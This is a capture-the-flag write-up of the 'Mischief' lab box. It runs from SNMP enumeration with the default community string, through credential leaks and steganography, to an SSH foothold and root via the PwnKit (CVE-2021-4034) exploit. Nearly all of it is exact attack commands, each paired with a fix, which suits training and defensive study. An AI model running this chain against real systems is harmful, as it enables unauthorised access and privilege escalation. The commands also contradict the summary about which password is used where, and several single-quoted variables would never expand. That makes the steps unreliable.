Mischief
Summary
A UDP scan of $TARGET uncovered SNMP on port 161. Walking the process table with the unauthenticated default community string 'public' exposed the full command line of a running Python HTTP server — including its Basic-auth credentials (loki:[REDACTED: recovered credential]) and the non-standard port it served (3366).
Logging into port 3366 with those credentials surfaced a JPEG image; extracting hidden content from that image with the first password as the steganographic passphrase yielded a second credential ([REDACTED: recovered credential]), which opened an SSH session as user loki and delivered the user flag. Post-foothold enumeration confirmed the host ran pkexec 0.105, unpatched against CVE-2021-4034 (PwnKit).
A glibc mismatch prevented running a locally-compiled exploit binary on the target, so the exploit source was transferred and compiled directly on the target using its own gcc, producing a root shell within seconds. The root flag was hidden outside /root/ at an unusual compiler-library path, requiring a full filesystem search to find.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export P="<a-value-you-captured-earlier>"
export V="<a-value-you-captured-earlier>"Attack path — how the box was taken
Exact commands 2
nmap -sU --top-ports 100 -Pn -T4 $TARGETnmap -sV -p 22,80,3366 -Pn -T4 $TARGETExact commands 3
snmpwalk -v1 -c public -On $TARGET .1.3.6.1.2.1.25.4.2.1.2snmpwalk -v1 -c public -On $TARGET .1.3.6.1.2.1.25.4.2.1.5snmpwalk -v1 -c public -On $TARGET .1.3.6.1.2.1.4.34FixDisable or harden SNMP and stop embedding credentials in process argumentsCritical
Exact commands 2
curl -g -sS -i --max-time 10 -u 'loki:$PASSWORD2' http://$TARGET:3366/curl -g -sS --max-time 10 -u 'loki:$PASSWORD2' -o loki.jpg http://$TARGET:3366/loki.jpgExact commands 3
exiftool loki.jpgstrings -a loki.jpgsteghide extract -sf loki.jpg -p '$PASSWORD2'FixRemove credentials embedded in media files and enforce SSH key-only authenticationHigh
Exact commands 2
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null loki@$TARGETid && cat /home/loki/user.txtExact commands 3
dpkg-query -W -f='${Package} ${Version}\n' policykit-1 && /usr/bin/pkexec --versionscp pwnkit.c pwnkitlib.c loki@$TARGET:/tmp/pwk/ssh -o StrictHostKeyChecking=no loki@$TARGET 'mkdir -p /tmp/pwk/pwnkit && cd /tmp/pwk && gcc pwnkit.c -o pwnkit-exploit && gcc -shared -fPIC pwnkitlib.c -o pwnkit/pwnkit.so && ./pwnkit-exploit'FixPatch policykit-1 to eliminate CVE-2021-4034 (PwnKit) local privilege escalationCritical
Exact commands 3
cat /root/root.txtfind / -maxdepth 6 -name root.txt 2>/dev/nullcat /usr/lib/gcc/x86_64-linux-gnu/7/root.txt